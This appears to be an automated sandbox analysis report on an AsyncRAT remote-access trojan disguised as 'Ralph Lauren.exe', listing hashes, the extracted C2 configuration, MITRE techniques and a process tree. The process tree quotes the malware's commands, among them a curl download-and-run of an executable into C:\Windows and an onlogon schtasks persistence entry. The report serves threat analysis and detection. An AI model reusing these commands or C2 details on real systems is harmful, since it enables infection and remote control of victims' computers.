asyncrat | f67c7c80124dfa4ea4b08ba5ebd5c767a855105cc1d3ec873b9dc6932345bede

Analysis

max time kernel
35s
max time network
41s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
04/04/2024, 14:02

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General

Target
Ralph Lauren.exe
Size 1.3MB
Sample240404-rb9j7sad83
SHA256 f67c7c80124dfa4ea4b08ba5ebd5c767a855105cc1d3ec873b9dc6932345bede
MD5 df101d8dc8e8ac47a35fcea42b65c213
SHA1 09d6dcd9d0b85721762fec68507e6d8c26cbcb04
SHA512 8a9edcbd9fc9288f4bcaf5b8abd0981645885fd5fdd77c4d0c9f648f425cd232f33edb863ef1bf7c0b84c937ad15962e108919fd2a6e70d9eb0aa04a778874ee
SSDEEP 24576:SXiHf+JKs3Dmr62UcvjLnx1P09vWnkRC4S0K11sUIb:m2rHUqv09OngSgU
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Default

itself-boost.gl.at.ply.gg:2035
itself-boost.gl.at.ply.gg:11121

Mutex

cklvsdugfdlckvhbsdhjfgflud

Attributes

delay
1
install
true
install_file
Updater.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0004000000022cd2-2.dat	family_asyncrat

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 2 IoCs

pid	Process
4924	Update.exe
1384	Updater.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
4	raw.githubusercontent.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Update.exe	curl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
224	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2540	timeout.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe
4924	Update.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4924	Update.exe
Token: SeDebugPrivilege	1384	Updater.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2652 wrote to memory of 1484	2652	Ralph Lauren.exe	85
PID 2652 wrote to memory of 1484	2652	Ralph Lauren.exe	85
PID 1484 wrote to memory of 3620	1484	cmd.exe	86
PID 1484 wrote to memory of 3620	1484	cmd.exe	86
PID 1484 wrote to memory of 4924	1484	cmd.exe	90
PID 1484 wrote to memory of 4924	1484	cmd.exe	90
PID 4924 wrote to memory of 3972	4924	Update.exe	92
PID 4924 wrote to memory of 3972	4924	Update.exe	92
PID 4924 wrote to memory of 4232	4924	Update.exe	94
PID 4924 wrote to memory of 4232	4924	Update.exe	94
PID 4232 wrote to memory of 2540	4232	cmd.exe	96
PID 4232 wrote to memory of 2540	4232	cmd.exe	96
PID 3972 wrote to memory of 224	3972	cmd.exe	97
PID 3972 wrote to memory of 224	3972	cmd.exe	97
PID 2652 wrote to memory of 4780	2652	Ralph Lauren.exe	98
PID 2652 wrote to memory of 4780	2652	Ralph Lauren.exe	98
PID 4780 wrote to memory of 1212	4780	cmd.exe	99
PID 4780 wrote to memory of 1212	4780	cmd.exe	99
PID 4780 wrote to memory of 1768	4780	cmd.exe	100
PID 4780 wrote to memory of 1768	4780	cmd.exe	100
PID 4780 wrote to memory of 4152	4780	cmd.exe	101
PID 4780 wrote to memory of 4152	4780	cmd.exe	101
PID 2652 wrote to memory of 3168	2652	Ralph Lauren.exe	106
PID 2652 wrote to memory of 3168	2652	Ralph Lauren.exe	106
PID 4232 wrote to memory of 1384	4232	cmd.exe	107
PID 4232 wrote to memory of 1384	4232	cmd.exe	107
PID 2652 wrote to memory of 4272	2652	Ralph Lauren.exe	112
PID 2652 wrote to memory of 4272	2652	Ralph Lauren.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Ralph Lauren.exe
"C:\Users\Admin\AppData\Local\Temp\Ralph Lauren.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl https://raw.githubusercontent.com/Vexigg/Fortnite-External-Source-WIth-Prediction/main/External%20With%20Prediction/build/kdmapper_release.exe --output C:\\Windows\\Update.exe >nul 2>&1 && C:\\Windows\\Update.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\curl.exe
    curl https://raw.githubusercontent.com/Vexigg/Fortnite-External-Source-WIth-Prediction/main/External%20With%20Prediction/build/kdmapper_release.exe --output C:\\Windows\\Update.exe
    3⤵
    - Drops file in Windows directory
    PID:3620
- - C:\Windows\Update.exe
    C:\\Windows\\Update.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Updater" /tr '"C:\Users\Admin\AppData\Roaming\Updater.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3972
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Updater" /tr '"C:\Users\Admin\AppData\Roaming\Updater.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6959.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4232
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2540
    - - C:\Users\Admin\AppData\Roaming\Updater.exe
        
        "C:\Users\Admin\AppData\Roaming\Updater.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Ralph Lauren.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4780
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Ralph Lauren.exe" MD5
    3⤵
    PID:1212
- - C:\Windows\system32\find.exe
    find /i /v "md5"
    3⤵
    PID:1768
- - C:\Windows\system32\find.exe
    find /i /v "certutil"
    3⤵
    PID:4152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4272

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

tmp6959.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp6959.tmp.bat
Size 151B
SHA256 25d5f2d2873dede086479b3c69189d63a026c5617ab8c4fa593d12c467f3dad7
MD5 1b395b4065ea097aced27c3a18047265
SHA1 89dee14c40b9cb1f73c36ae4bf1c0e419e21dbea
SHA512 eaf1fbbe5b7ee9ae51a19818e740bc60316e826e5a6c1425b928433bf67edfab5521843a330eb6149d56f3c389e0894df616f9ca89e5e58102eb2816f3fcbefa
MD5 SHA1 SHA512

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Update.exe

Path C:\Windows\Update.exe
Size 48KB
SHA256 fb81ce1726bd46b1902f105b8d5e81f8c85c9b2d55c5514c443bbd232a39bb31
MD5 f7e71372c4e0ddcc18bc4122363d5d7d
SHA1 be89edea48435c7b5ecc1c2a3c770d575e43fa25
SHA512 49b3c81d8dc88200e66efc3249d8a63e9eb98974dd7b1f0e142cea1c31f1874d8f18b76ffc52e0536a858c0bc2812838b239ddaa14437fafe11c86fccc364ba8
SSDEEP 768:5eICljTILmCKi+DiP9/ah+diRi++98YbngeDkDcBvEgK/Jc+Vc6KN:5eIYdmxqXx+9zbgi5BnkJc+VclN
MD5 SHA1 SHA512 SSDEEP

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memory/1384-16-0x00007FFB35510000-0x00007FFB35FD1000-memory.dmp

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memory/1384-17-0x0000000002F60000-0x0000000002F70000-memory.dmp

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memory/1384-18-0x00007FFB35510000-0x00007FFB35FD1000-memory.dmp

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memory/1384-19-0x0000000002F60000-0x0000000002F70000-memory.dmp

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memory/4924-4-0x0000000000B00000-0x0000000000B12000-memory.dmp

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memory/4924-5-0x00007FFB35630000-0x00007FFB360F1000-memory.dmp

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memory/4924-6-0x000000001B830000-0x000000001B840000-memory.dmp

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memory/4924-12-0x00007FFB35630000-0x00007FFB360F1000-memory.dmp

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